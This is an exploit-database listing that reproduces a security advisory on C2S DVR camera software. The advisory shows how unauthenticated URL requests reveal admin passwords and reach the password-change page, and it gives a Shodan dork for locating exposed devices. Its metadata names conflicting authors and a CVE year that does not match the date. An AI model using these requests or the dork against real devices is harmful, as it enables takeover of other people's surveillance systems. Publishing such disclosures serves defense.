Exploitalert - Database of Exploits

C2S DVR Management Remote Credentials Disclosure & Authentication Bypass

CVE	Category	Price	Severity
CVE-2020-24328	CWE-306	Not specified	High

Author	Risk	Exploitation Type	Date
Vangelis Stykas	High	Remote	2016-08-20

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.04027	0.60871

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2016080192

C2S DVR Management Remote Credentials Disclosure & Authentication Bypass1. Advisory Information ======================================== Title : C2S DVR Management Remote Credentials Disclosure & Authentication Bypass Vendor Homepage : http://www.cash2s.com/en/ Remotely Exploitable : Yes Tested on Camera types : IRDOME-II-C2S, IRBOX-II-C2S, DVR Vulnerabilities : Credentials Disclosure + : Authentication bypass Date : 19/08/2016 Shodan Dork : html:write.cgi "Content-length: 2676" Author : Yakir Wizman (https://www.linkedin.com/in/yakirwizman) 2. CREDIT ======================================== This vulnerability was identified during penetration test by Yakir Wizman. 3. Description ======================================== C2S DVR allows to unauthenticated user disclose the username & password remotely by simple request to the server page 'read.cgi?page=2' which can be made by browser or burp/fiddler. Moreover, an attacker could easily access to password change page without any authentication, thats happen cuase the web application does not perform any session management. 4. Proof-of-Concept: ======================================== Remote Credentials Disclosure: ----------------------------------------------- Simply go to the following url to read the credentials: http://host:port/cgi-bin/read.cgi?page=2 Should return some javascript variable which contain the credentials and other configuration vars: var pw_enflag = "1"; var pw_adminpw = "12345"; var pw_retype1 = "12345"; var pw_userpw = "56789"; var pw_retype2 = "56789"; var pw_autolock = "0"; Login @ http://host:port/ ----------------------------------------------- Authentication Bypass: ----------------------------------------------- The application does not require a valid session for any page on the server, for example you can access to 'password.htm' which allows you to change/disclose the admin password with just a few clicks. http://host:port/password.htm?parm1=&parm2=1 5. SOLUTION ======================================== Contact the vendor for further information regarding the proper mitigation of this vulnerability.

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